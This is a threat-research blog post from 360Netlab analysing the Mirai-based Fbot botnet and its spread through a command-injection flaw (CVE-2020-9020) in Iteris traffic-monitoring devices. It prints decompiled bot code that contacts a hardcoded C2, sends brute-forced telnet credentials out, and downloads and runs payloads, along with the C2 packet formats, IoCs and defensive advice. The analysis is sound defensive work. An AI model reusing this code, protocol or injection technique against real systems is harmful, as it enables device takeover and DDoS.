Fbot is now riding the traffic and transportation smart devices

By Genshen Ye

Published: 2021-03-03 · Archived: 2026-04-05 17:37:18 UTC

Background

Fbot, a botnet based on Mirai, has been very active ever sine we first blogged about it here[1][2], we have seen this botnet using multiple 0 days before(some of them we have not disclosed yet) and it has been targeting various IoT devices, now, it is aiming a new category, traffic and transportation smart devices.

On February 20, 2021, the 360Netlab Threat Detection System captured attackers were using a remote command execution vulnerability (CVE-2020-9020)[3][4] in the Vantage Velocity product from Iteris to spread Fbot botnet samples.

According to Wikipedia[5], Iteris, Inc. provides intelligent mobile infrastructure management services and produces sensors and other devices that record and predict traffic conditions.

Based on the AIrLink GX450 Mobile Gateway production information found on the affected devices, we speculate that the affected devices are roadside monitoring device.

CVE-2020-9020 Vulnerability Analysis

Through the 360 FirmwareTotal system, we verified and analyzed the CVE-2020-9020 vulnerability, here is the brief.

1. Vantage Velocity product synchronizes With NTP Server, where user can set the specified ntp server address.
2. The `timeconfig.py` script does not filter the `htmlNtpServer` variable after accepting a user Web request, i.e., it is spliced into the shell variable format `"ntpserver=" + form["htmlNtpServer"].value.strip()` and written to the `/root/timeparam` file.
3. The command execution vulnerability is triggered when the `timeconfig.py` script calls the shell script `/root/ntpconfig`, which reads the `/root/timeparam` file to initialize the variable ntpserver.

Vulnerability impact scope

The 360 Quake cyberspace mapping system found the specific distribution of Vantage Velocity devices by mapping assets across the network as shown in the figure below.

Fbot botnet

Fbot is a botnet based on Mirai, with 2 main changes

- Encryption algorithm
- Registration packets, heartbeat packets

The basic information of this sample is shown below:

> MD5:deaee7ada44bf1c6af826d2d170c8698
>
> ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped
>
> Packer:None

It has no added features in itself, the main function is

- DDoS attack
- Telnet scanning

The following section will briefly analyze around the above functions.

DDoS attack

First Fbot establishes a connection with the hardcoded C2 (198.23.238.203:5684) via the following code snippet.

```
c2_addr.sin_family = 2;
c2_addr.sin_port = 0x3416;                  // 5684
c2_addr.sin_addr.s_addr = 0xCBEE17C6;       // 198.23.238.203
v28 = (_DWORD *)sub_40D10C(v27, 4LL);
*v28 = 0;
v18 = (char *)&c2_addr;
v21 = v28;
_libc_connect((unsigned int)dword_517050, &c2_addr, 16LL);
```

Then it sends a 78-byte long registration message to C2

```
wrap_send((unsigned int)dword_517050, &v71, 78LL, 0x4000LL);
```

```
v71 = 2;
v72 = 0x4200;
v73 = 0x3300;
v74 = 0x6300;
v75 = 0xC801u;
v76 = 0xFC02u;
v77 = 0x4900;
```

The network traffic generated in practice is shown below.

```
00000000  02 00 00 42 00 33 00 63  01 c8 02 fc 00 49 00 07   ...B.3.c .....I..
00000010  75 6e 6b 6e 6f 77 6e 00  00 00 00 00 00 00 00 00   unknown. ........
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00         ........ ......
```

The information in the registration packet is used to verify the legal identity of the BOT, and the format of the registration packet is parsed as shown below.

```
 Main field parsing, others can be 0
-------------------------------------------
02    --->type, register package
00 42 00 33 00 63  01 c8 02 fc 00 49   --->hardcoded, authentication
00 07   --->length of group string
75 6e 6b 6e 6f 77 6e ---->group string, "unknown"
-------------------------------------------
```

After sending the registration packet the Bot starts to wait for C2 to issue commands, the first byte of the command packet specifies the command type.

0x00， heartbeat command code

Take the following heartbeat as an example

```
    00000000  00 00 1b 37 03 f3 25 e3  19 40 1e 68 1a d2 00 00   ...7..%. .@.h....
    00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00         ........ ......
0000009C  00 00 1b 37 03 f3 25 e3  19 40 1e 68 1a d2 00 00   ...7..%. .@.h....
000000AC  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
000000BC  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
000000CC  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
000000DC  00 00 00 00 00 00 00 00  00 00 00 00 00 00         ........ ......
```

The format of the heartbeat packet is parsed as follows

```
 Main field parsing, others can be 0
-----------------------------------------
00  --->type, heartbeat package
1b 37 03 f3 25 e3  19 40 1e 68 1a d2   --->hardcoded
-----------------------------------------
```

0x01，DDoS attack command code

Take the following attack instruction as an example

```
0000009C  01 00 00 00 00 00 00 00  00 00 00 00 00 00 01 00   ........ ........
000000AC  3c 01 67 5f dd bc 00 20  02 02 00 04 31 34 36 30   <.g_...  ....1460
000000BC  01 00 02 35 33 00 00 00  00 00 00 00 00 00 00 00   ...53... ........
000000CC  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
000000DC  00 00 00 00 00 00 00 00  00 00 00 00 00 00        ........ ......
```

The format of the attack packet is parsed as follows

```
 Main field parsing, others can be 0
-----------------------------------------
01                                              --->type, attack package
01                                                      --->attack type
00 3c                                           --->time (sec)
01                                                      --->number of target
67 5f dd bc 00 20                   --->target/mask,103.95.221.188/32
02                                                      --->number of flag
         02                                                     --->flag type, attack package length
         00 04                                          --->flag length
         31 34 36 30                                    --->flag data, 1460


         01                                                     --->flag type, port
         00 02                                          --->flag length
         35 33                                          --->flag data, 53
-----------------------------------------
```

0x03，exit

```
if ( v63 == 3 )
{
  sub_403F90();
  sub_40CB80(v29, &v63);
  sub_406FF0();
  _libc_close((unsigned __int8)v87);
  _libc_close(0xFFFFFFFFLL);
  _GI_kill((unsigned int)dword_5176F0, 9LL);
  _GI_kill((unsigned int)dword_5176F4, 9LL);
  _GI_exit(0LL);
}
```

Telnet scan & propagation

Fbot uses the technique of SYN port detection in the propagation process to improve the efficiency of propagation.

```
tcpHdr.dest = (unsigned int)(v239 % 3) < 1 ? 0x1A00 : 0x1700;// port 23,26
tcpHdr.seq = ipHdr.daddr;
```

From the above code snippet, it can be seen that its scanning traffic has 2 characteristics

1. The number of scanned 23 ports is about twice as many as 26 ports
2. The sequence number in the tcp header is equal to the target address in the ip header

When a port is detected as open, login is attempted using a hard-coded credential list. Once successful, the IP, port, account, password, etc. are sent back to Reporter (198.23.238.203:774) via the following code snippet.

```
reporter.sin_family = 2;
reporter.sin_addr.s_addr = 0xCBEE17C6;    // 198.23.238.203
reporter.sin_port = 0x603;                // 774
if ( (unsigned int)_libc_connect(v5, &reporter, 16LL) != -1 )
  sub_40C870(v6, (__int64)"[telnet] %s", a1);
```

The actual network traffic generated is shown in the following figure.

```
00000000  5b 74 65 6c 6e 65 74 5d  20 61 74 74 65 6d 70 74   [telnet]  attempt
00000010  69 6e 67 20 2d 2d 2d 3e  20 5b 31 34 31 2e 39 38   ing --->  [141.98
00000020  2e 32 31 32 2e 31 30 3a  32 33 20 72 6f 6f 74 3a   .212.10: 23 root:
00000030  67 70 6f 6e 5d                                     gpon]
```

Finally, the Fbot sample is implanted to the device either with network download(see below) or ECHO, and the successful implantation information is sent back to Reporter.

1：Network download

If the device has wget or tftp, the Fbot sample of the corresponding CPU architecture on the device will be downloaded.

```
method = "wget";
v10 = "bot %s successfully deployed via %s ---> [%s:%d %s:%s]";
if ( *(_BYTE *)(v42 + 2190) != 1 )
  method = "tftp";
_GI_sprintf(
  v42 + 1064,
  (__int64)"bot %s successfully deployed via %s ---> [%s:%d %s:%s]",
  *(_QWORD *)(v42 + 32),
  method,
  v90,
  v87,
  v89,
  v88);
goto Report_proc;
```

2 : ECHO

If the device does not have a network download tool, the Fbot downloader of the corresponding CPU architecture is uploaded to the device via ECHO to download the Fbot samples.

```
v10 = "bot %s successfully deployed via echo ---> [%s:%d %s:%s]";
_GI_sprintf(
  v42 + 1064,
  (__int64)"bot %s successfully deployed via echo ---> [%s:%d %s:%s]",
  *(_QWORD *)(v42 + 32),
  v99,
  v96,
  v97,
  v98);

reporter_process(v86, (__int64)v10);
```

The information of the Fbot downloader built into the sample is shown as follows.

```
bash-3.2$ md5 deaee7ada44bf1c6af826d2d170c8698
MD5 (deaee7ada44bf1c6af826d2d170c8698) = deaee7ada44bf1c6af826d2d170c8698
bash-3.2$ binwalk deaee7ada44bf1c6af826d2d170c8698

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             ELF, 32-bit LSB executable, ARM, version 1 (SYSV)
120724        0x1D794         ELF, 32-bit LSB executable, ARM, version 1 (ARM)
121708        0x1DB6C         ELF, 32-bit LSB executable, ARM, version 1 (SYSV)
123060        0x1E0B4         ELF, 32-bit MSB MIPS-I executable, MIPS, version 1 (SYSV)
124832        0x1E7A0         ELF, 32-bit LSB MIPS-I executable, MIPS, version 1 (SYSV)
126604        0x1EE8C         ELF, 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV)
127880        0x1F388         ELF, 32-bit LSB executable, Hitachi SH, version 1 (SYSV)
128892        0x1F77C         ELF, 32-bit MSB executable, Motorola 68020, version 1 (SYSV)
129976        0x1FBB8         ELF, 32-bit MSB executable, SPARC, version 1 (SYSV)
134328        0x20CB8         Unix path: /sys/devices/system/cpu
```

In the above figure, the downloader with file offset 0x1D794 is used as an example.

> MD5:9b49507d1876c3a550f7b7a6e4ec696d
>
> ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped

> Packer:None

Its function is to request the Fbot sample from the download server (198.23.238.203:80) and execute it.

```
HIBYTE(dl_addr.sin_port) = 80;                  // 80
dl_addr.sin_addr.s_addr = 0xCBEE17C6;           // 198.23.238.203
LOBYTE(dl_addr.sin_family) = 2;
HIBYTE(dl_addr.sin_family) = v1;
LOBYTE(dl_addr.sin_port) = v1;
v3 = sub_8094(&unk_82D0, 577, 511);
v4 = wrap_socket(2, 1, v1);
v5 = v4 == -1;
if ( v4 != -1 )
  v5 = v3 == -1;
v6 = v4;
if ( v5 )
  sub_8074(1);
v7 = wrap_connect(v6, &dl_addr, 16);
if ( v7 < 0 )
  sub_8074(-v7);
if ( sub_80D8(v6, "GET /arm HTTP/1.0\r\n\r\n", v2 + 25) != v2 + 25 )
```

Suggestions

We recommend Vantage Velocity users to check and update the firmware system in a timely manner.

We recommend that Vantage Velocity users set complex login passwords for management interfaces such as Web and SSH.

We recommend that readers monitor and block relevant IPs and URLs mentioned in this blog.

Contact us

Readers are always welcomed to reach us on **twitter**, or email to netlab at 360 dot cn.

IoC

IP:

```
198.23.238.203          United States           ASN36352                AS-COLOCROSSING
```

C2:

```
198.23.238.203:5684
```

URL:

```
http://198.23.238.203/arm7
```

MD5:

```
deaee7ada44bf1c6af826d2d170c8698
```

Source: https://blog.netlab.360.com/fbot-is-now-riding-the-traffic-and-transportation-smart-devices-en/